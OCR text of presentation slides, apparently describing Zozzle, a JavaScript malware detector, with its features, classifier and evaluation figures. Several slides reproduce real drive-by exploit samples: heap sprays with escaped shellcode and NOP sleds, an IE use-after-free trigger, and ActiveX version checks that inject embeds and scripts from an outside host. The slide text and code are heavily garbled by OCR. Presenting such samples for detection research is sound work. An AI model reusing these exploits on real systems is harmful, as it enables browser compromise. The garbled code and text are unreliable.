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Blacklisting Malware in Search Results
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Drive-by Malware Detection Landscape

offline  Detection more immediate
(honey-monkey) * No gap between what client |

Goal of Zozzle

low-overhead
low false positive
mostly static detector
suitable for in-browser deployment




How to Recognize JavaScript Malware?

1. Look at representative malware 6Nt Like They Did'c Wam 0

2. Find commonalities

3. Encode them as features




var MugEZYdx = "%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3c45%u548b%u7805%ueall...” ;

var avlztsbF = "%u0C0C%u0C0C";

var TzsygYnD = "%u0b0b%uObObAAAAAAAAAAAAAAAAAAAAAAAAA';

var eSSOLKOd = unescape(MuqgEZYdx);

var pblkPrKa = new Array();

var wSgaQK = 1000;

var xASdngwj = 0x100000;

var XAFKNgqwO = 2;

var oQkmsLLP = 0x01020;

var EibcUrHC = xASdngw;j - (eSSOLKOd.length * xAFKNqwO + oQkmsLLP);

var cTAfWBbz = unescape(avlztsbF);

var oKgMIPgL = 0xCO;

while (cTAfWBbz.length < EibcUrHC / xAFKNqwO) {
cTAfWBbz += cTAfWBbz;
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var GBVpRAcd = cTAfWBbz.substring(0, EibcUrHC / xAFKNgqwO);

delete cTAfWBbz;

for (JyxlaABZ = 0; JyxlaABZ < oKgqMIPqL; JyxlaABZ++) {
pblkPrKa[JyxlaABZ] = GBVpRAcd + eSSOLKOd;
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CollectGarbage();

var fseYOuUZ = unescape(TzsygYnD);

var wxDSxsOR = new Array();

for (var FNMszcgR = 0; FNMszcqR < wSqaQK; FNMszcqR++) wxDSxsOR.push(document.createElement("img"));

function FKOASMamskASDweqgnbjdwasSDQWWQq() {
vVLUmMYRf = document.createElement("tbody");
vVLUmYRf.click;
var wycLwNlo = vWLUmYRf.cloneNode();
vVLUmYRf.clearAttributes();
vVLUMYRf = null;
CollectGarbage();
for (var CKGIPoYs = 0; CKGIPoYs < wxDSxsOR.length; CKGIPoYs++) wxDSxsOR[CKGIPoYs].src = fseYOuUZ;
wycLwNIo.click;
}
window.setTimeout('FKOASMamskASDweqgnbjdwasSDQWWQq();', wSgaQK);



var MuqEZYdx = "%u56e8%u0000%u5300%u5655%u8b57%u246c%u8b18%u3cd5%u548b%u7805%ueall..”;
var avlztsbF = "%u0C0C%u0COC";
var TzsygYnD = "%UObOb%u0bObAAAAAAAAAAAAAAAAAAAAAAAAA";
var eSSOLKOd = unescape(MuqEZYdx);
var pblkPrKa = new Array();
var wSgaQK = 1000;
var xASdngwj = 0x100000;
var xAFKNqwO = 2;
var oQkmsLLP = 0x01020;
var EibcUrHC = xASdnqw;j - (eSSOLKOd.length * xAFKNqwO + oQkmsLLP);
var cTAfWBbz = unescape(aviztsbF);
var oKgMIPgL = 0xCO;
while (cTAfWBbz.length < EibcUrHC / xAFKNqwO) {
cTAfWBbz += cTAfWBbz;

}
var GBVpRAcd = cTAfWBbz.substring(0, EibcUrHC / xAFKNgqwO);

delete cTAfWBbz;
for (JyxlaABZ = 0; JyxlaABZ < oKgMIPqL; JyxlaABZ++) {
pblkPrKa[JlyxlaABZ] = GBVpRAcd + eSSOLKOd;

}

CollectGarbage();

var fseYOuUZ = unescape(TzsygYnD);
var wxDSxsOR = new Array();

for (var FNMszcgR = 0; FNMszcqR < wSqaQK; FNMszcqR++) wxDSxsOR.push(document.createElement("img"));

function FKOASMamskASDweqnbjdwasSDQWWQq() {
vVLUmMYRf = document.createElement("tbody");
vVLUmYRf.click;
var wycLwNlo = vWLUmYRf.cloneNode();
vVLUmYRf.clearAttributes();
vVLUMYRf = null;
CollectGarbage();
for (var CKGIPoYs = 0; CKGIPoYs < wxDSxsOR.length; CKGIPoYs++) wxDSxsOR[CKGIPoYs].src = fseYOuUZ;
wycLwNlo.click;
}
window.setTimeout('FKOASMamskASDweqnbjdwasSDQWWQq();', wSqaQK);



var zmn = null;
try {

zmn = new ActiveXObject("AcroPDF.PDF");
} catch (e) {}
if ('zmn) {

try {

zmn = new ActiveXObject("PDF.PdfCtrl");

} catch (e) {}
}
if (zmn) {

Iv = ((zmn.GetVersions().split(","))[4].split("="))[1].replace(/\./g, "");

if ((Iv < 900) && (Iv != 813)) document.write('<embed src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=2" width=100 height=100
type="application/pdf"'></embed>');
}
try {

varzmn =0;

zmn = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("S$" + "version").split(",");
} catch (e) {}

if (zmn && (zmn[2] < 124)) document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100 align=middle><param name="movie"
value="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/><param name="quality" value="high"/><param name="bgcolor" value="#ffffff"/><embed
src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/></embed></object>');

var scode =
"%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%UEF33%uE243%UEBFA%UES05%UFFEC%UFFFF%U8B7F%uDFAE%UEFEF%UG4EF%UE3AF%UOF64%ud2F3%u9F64%u6EE7%uUEF03%u
EFEB%U64EF%uB903%u6187%UE1A1%u0703%uEF11%uEFEF%UAA66%UBIEB%U7787%u6511%u07E1%UEF1F%UEFEF%UAAG6%UBOE7%uCAS87%u105F%u072D%UEFOD%UEFEF%UAAG6%UBIE3%U0
087%U0F21%u078F%UEF3B%UEFEF%UAA66%UBIFF%U2E87%U0A96%u0757%UEF29%UEFEF%UAA66%UAFFB%UD76F%U9A2C%u6615%uF7AA%UES06%UEFEE%UB1EF%U9A66%u64CB%UEBAA%UEE
85%u64B6%UF7BA%uU07B9%UEF64%UEFEF%U87BF%UF5D9%u9FC0%u7807%UEFEF%U66EF%UF3AA%U2A64%uU2F6C%U66BF%UCFAA%U1087%UEFEF%UBFEF%UAA64%u85FB%UB6ED%UBA64%uU07F
7%UuEF8E%UEFEF%UAAEC%U28CF%uB3EF%uC191%u288A%UEBAF%USA97%UEFEF%U9A10%ub4CF%UE3AA%UEES5%UE4B6%UF7BA%UAF07%UEFEF%u85EF%uB7E8%UAAEC%UDCCB%UBC34%u10B
C%UCFIA%UBCBF%UAABA%US5F3%UuB6EA%UBAG4%u07F7%UEFCC%UEFEF%UEF85%u9A10%u64CF%uUE7AA%UEDS5%U64B6%UF7BA%UFF07%UEFEF%u85EF%u6410%uFFAA%UEES5%U64B6%UF7BA
%UEF07%UEFEF%UAEEF%uBDBA%UOEEC%UOEEC%UOEEC%UOEEC%U036C%uBSEB%U64BC%UOD35%uBD18%U0F10%u64BA%u6403%UE792%uB264%UBIE3%uU9C64%u64D3%UuUF 19B%UECI7%uBI1C
%u9964%UECCF%UDC1C%UuA626%u42AE%U2CEC%UDCB9%UEQ19%UFF51%ulDD5%UE79B%u212E%UECE2%UAF1D%uUlE04%ul1D4%u9AB1%uB50A%u0464%uB564%UECCB%U8932%UE364%Ub64A
4%UuF3B5%Uu32EC%UEB64%UEC64%uB12A%u2DB2%UEFE7%ul1B07%u1011%uBA10%uA3BD%UAOA2%UEFAL";

function ek13() {
return true;
}
window.onerror = ek13;
var scodel = unescape(scode +
"%u7468%u7074%u2F3A%U612F%u7472%u6369%u656C%U2E73%Ub6F6B%U6172%U616A%U632E%U6D6F%U732F%Ub6F68%U6377%U7461%uU702E%U7068%u633F%U6469%u383D%u2637%U6E63%
u4D3D%u7375%u6369%u252B%u3632%u4D2B%u3350%u733F%u453D%u7159%u6735%u4337%u2667%u6469%u313D%u0032");
try {
obj = new ActiveXObject("OWC10.Spreadsheet");
if (lobj) {
obj = new ActiveXObject("OWC11.Spreadsheet");
}
if (obj) {
document.write("<script src=http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=4><\/script>");
var array = new Array();
var Is = 0x81000 - (scodel.length * 2);
var bigblock = unescape("%u0b0c%u0b0C");
while (bigblock.length < Is / 2) {
bigblock += bigblock;
}
var |h = bigblock.substring(0, Is / 2);
delete bigblock;
for (i=0;i<0x99 * 2; i++) {
array[i] = Ih + Ih + scodel; 7
}

e =new Array();



var zmn = null;
try {

zmn = new ActiveXObject("AcroPDF.PDF");
}catch (e) {}
if (1zmn) {

try {

zmn = new ActiveXObject("PDF.PdfCtrl");

} catch (e) {}
}
if (zmn) {

Iv = ((zmn.GetVersions().split(","))[4].split("="))[1].replace(/\./g, "");

if ((Iv < 900) && (Iv = 813)) document.write('<embed src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=2" width=100 height=100
type="application/pdf"></embed>');
}
try {

var zmn =0;

zmn = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).Getvariable("$" + "version").split(",");
}catch (e) {}

if (zmn && (zmn[2] < 124)) document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width=100 height=100 align=middle><param name="movie"
value="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/><param name="quality" value="high"/><param name="bgcolor" value="#ffffff"/><embed
src="http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=3"/></embed></object>');

var scode =
"%u4343%u4343%us4343%u0FEB%u335B%u66C9%u80B9%u8001%UEF33%uE243%UEBFA%UES05%UFFEC%UFFFF%u8B7F%uDFAE%UEFEF%U64EF%UE3AF%U9F64%u42F3%u9F64%ub6EE7%UEF03%u
EFEB%U64EF%uB903%u6187%uE1A1%u0703%uUEF11%UEFEF%UAA66%UBIEB%U7787%u6511%u07E1%UEF1F%UEFEF%UAAG66%UBIE7%uUCA87%ul05F%u072D%UEFOD%UEFEF%UAA66%UB9E3%uU0
087%u0F21%u078F%UEF3B%UEFEF%UAAG66%UBIFF%U2E87%uU0A96%u0757%uUEF29%UEFEF%UAAB6%UAFFB%UD76F%u9A2C%u6615%uF7AA%UES806%UEFEE%UB1EF%U9A66%u64CB%UEBAA%UEE
85%u64B6%UF7BA%U07B9%UEF64%UEFEF%U87BF%uF5D9%u9FC0%u7807%UEFEF%uU66EF%UF3AA%U2A64%u2F6C%Uu66BF%UCFAA%U1087%UEFEF%UBFEF%UAA64%u85FB%UB6ED%UBAG4%uU07F
7%UEFSE%UEFEF%UAAEC%U28CF%UB3EF%uC191%u288A%UEBAF%U8A97%UEFEF%U9A10%u64CF%UE3AA%UEES5%U64B6%UF7BA%UAFO7%UEFEF%U85EF%uUB7E8%UAAEC%UDCCB%uUBC34%ul0B
C%UuCF9A%UBCBF%UAA64%u85F3%uB6EA%UBA64%uU07F7%UEFCC%UEFEF%UEF85%U9A10%u64CF%UE7AA%UED85%u64B6%UuF7BA%UFFO7%UEFEF%U85EF%u6410%uFFAA%UEE85%u64B6%UF7BA
%UEFO7%UEFEF%UAEEF%UBDB4%uU0EEC%UOEEC%UOEEC%UOEEC%U036C%uB5EB%U64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%UECI7%uB91C
%U9964%UECCF%uUDCI1C%uA626%u42AE%u2CEC%UDCBI%UE019%UFF51%ulDD5%UE79B%u212E%UECE2%UAF1D%uUl1E04%ul11D4%u9AB1%uB50A%u0464%uB564%UECCB%U8932%UE364%uU64A
4%uF3B5%u32EC%UEB64%UEC64%UB12A%u2DB2%UEFE7%u1B07%u1011%uBA10%uUA3BD%UAOA2%UEFAL";

function ek13() {
return true;

}

window.onerror = ek13;

var scodel = UNnesCape(scode +
"%u7468%u7074%u2F3A%Ub612F%u7472%u6369%u656C%u2E73%u6F6B%U6172%uU616A%U632E%U6D6F%U732F%u6F68%u6377%u7461%u702E%U7068%u633F%u6469%u383D%u2637%uU6E63%
u4D3D%u7375%u6369%u252B%u3632%u4D2B%u3350%u733F%u453D%u7159%u6735%u4337%u2667%u6469%u313D%u0032");

try {
obj = new ActiveXObject("OWC10.Spreadsheet");
if (lobj) {
obj = new ActiveXObject("OWC11.Spreadsheet");

}
if (obj) {
document.write("<script src=http://articles.koraja.com/showcat.php?cid=87&cn=Music+%26+MP3?s=EYq5g7Cg&id=4><\/script>");
var array = new Array();
var Is = 0x81000 - (scodel.length * 2);
var bigblock = unescape("%u0b0c%u0b0C");
while (bigblock.length < s / 2) {
bigblock += bigblock;
1
var |h = bigblock.substring(0, Is / 2); 8

delete bigblock;
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How Do We Encode This Intuition?

M E L

It’s Not Like They Didn’t Warn Us.” .

*but without Mel Gibson...

Obfuscated variable names

Variables payload, spray, nop,
nopsled

Many loops
CollectGarbage and delete
ActiveX controls

unescape and String.fromChar

eval
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Plan

Train a classifier to recognize malware

Start with thousands of malicious and
benign labeled samples

Classify JavaScript code



Obfuscation

eval (""+0(2369522)+0(1949494) +0O
(2288625)+0(648464)+0(2304124) +
0(2080995)+0(2020710)+0(2164958
) +0(2168902)+0(1986377)+0 (22279
03)+0(2005851)+0(2021303)+0 (646
435)+0(1228455)+0(644519)+0 (234
6826)+0 (2207788)+0(2023127)+0 (2
306806)+0(1983560)+0(1949296) +0
(2245968) +0(2028685)+0(809214) +
0(680960)+0(747602)+0(2346412) +
0(1060647)+0(1045327)+0 (1381007
) +0 (1329180)+0 (745897)+0 (234140
4)+0(1109791)+0(1064283)+0(1128
719)+0(1321055)+0(748985)+...);

NS

var 1 = function (x) {

return String.fromCharCode (x);

var O = function (m) {
return String.fromCharCode (
Math.floor(m / 10000) / 2);
}

shellcode = unescape ( ) s

var bigblock = unescape ( ) ;

while (bigblock.length<slackspace) {
bigblock += bigblock;

}

block = bigblock.substring (0,
bigblock.length-slackspace);

while (block.lengthtslackspace<0x40000) {
block = block + block + fillblock;

}

memory = new Array();

for (x=0; x<300; x++) {

memory[x] = block + shellcode;



Plan (revised)

Train a classifier to recognize malware

obfuscated code = malicious



Obfuscated? Yes. Malicious, no.

7 |eval{functioni{p, a, c, k, &, d)} {

e = function{c) {
return (c € a * ' : e(parselnt(c / a))) + ({c = c % a) > 35 ? string.fromCharCode(c + 29) : c.tosString(3&))
I
if (!'"'.replace(/"/, String)) {
while {c--3 {
dle(c)] = k[c] || e(c)
by
k = [function(e) {
return dfe]
F1:
e = function() {
return '+
Ti
c =1

h

;hile {c--3 1
if (k[c]) {
p = p.replace({new RegExp('‘\b' + e(c) + "“\b', 'g'}), k[c])
H
H

return p

B30K MpICMILS 2U("2ay 't 4k M 4K 2g 31 4G 4H"); (60046 r{f,e){I{!M.IR(F))1S 3m("3s 15 4R");K a=Ff.Llw;F=M{F.Im,t{f)+(e|]""));



Highly Obfuscated != Malicious
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Plan (revised and improved)

Deobfuscate (unfold the code)

Then classify



Runtime Deobfuscation via Code Unfolding)
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Zozzle Training & Application

malicious benign
samples samples
(1K) (7K)
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Hierarchical Feature Extraction




Naive Bayes Classification

eval (""+0(2369522) +0 (19494
94) +0(2288625) +0(648464) +0
(2304124) +0(2080995) +0 (202
0710) +0(2164958) +0 (2168902
) +0 (1986377) +0 (2227903) +0 (

Q -9 2005851) +0(2021303) +0 (6464
eature malicious
(2346826) +0(2207788) +0 (202

3127) +0(2306806) +0 (1983560

) +0 (1949296) +0 (2245968) +0 (
2028685) +0(809214) +0 (68096
0)+0(747602) +0 (2346412) +0 (
1060647) +0(1045327) +0 (1381
007) +0 (1329180) +0(745897) +
0(2341404) +0(1109791) +0 (10
64283)+0(1128719) +0 (132105
5)+0(748985) +...) ;

string:0c0Oc 0.99

function:shellcode 099

loop:memory 0.87

Function:ActiveX 080

—> P(malicious)

try:activex 041

if:msie 7 0.33

function:Array 021

function:unescape 0.45
loop:+= 0.55
Loop:nop 0.95
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Contributions of Zozzle

e Zozzle, a highly precise, e AST-based detection leads
lightweight, mostly static to better precision
JavaScript malware e Feature selection is totally
detector automatic

e Based on extensive

experience of analyzing
1000s of malware sites e Scale to hundreds or even
from Nozzle runtime thousands of features

detector e 1 MB of code/sec



Evaluation

* How many features are * Evaluated Zozzle on millions
needed?

of samples

e False positive and false
negative rates

 Have been running it for

e How fast |
Ow tast Is several months on the web

classification?

e What is the reach: how
many malware sites
does it find?

1,000s malicious sites daily




Features & Throughput

Sweet spot: around
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False Positives & False Negatives

Set of 1.2M skl -
samples 38 Pesitives

Finds more malware
- than any other
5 detector we know

3 - % -

2 7 30,

. 20% 15/
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Limitatinng of Zozzle

"\x6D"+"\x73\x69\x65"+"\
x20\x36"

"msie 6"
if . . W ndexoTe~—
"\x6D"+"\x73\x69\x65"+"\x20\x36")>0)
document.write("<iframe src=x6.htm></iframe>");

WA woan w indexOf (
O"+"\x57\x43"+"\x31\x30\x2E\53"+ IR S A RIS

"pr"_l_"ea"_l_"ds l'+|'hel'+lletll ’</iframe>") ;

"OWC10.Spreadsheet"

} catch(a) { } fina.
if (a!="[object .
document.writ\

1’]."+"OCkW"+"aV"+"e"+"Fl

—
"\X6D"‘|‘"\X73"‘|‘"\X69"+"\
ne src=svfl9 X65"+"\x20"+"\x37"

}
try {
var c; var f=new Activ
} catch(ec) { } finally {
if (c!="[object Error]")'{
aacc = "<iframe src=of.htm></iframe>";
setTimeout ("document.write (aacc)"™, 3500);

1) . 1)
yject ("O"+"\x5% msie 7/
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Rc¢

What’s Next

(navigator.userAgent.toLowerCase () .1indexOf (

if

"\x6D"+"\x73\x69\x65"+

(navigator.userAgent.toLowerCase () .1indexOf (

if
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"\X6D"+"\X73"+"\X69"+"

try {

new ActiveXObject ("Sh"+"ockw"+

} finally {
(a!="[object Error]")

; var aa
{

var a
} catch(a)

if

var c; var f=new ActiveXObject ("O"+"\x57\x43"+

} catch(c)

} finally {

{

{
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Thousands of malware si




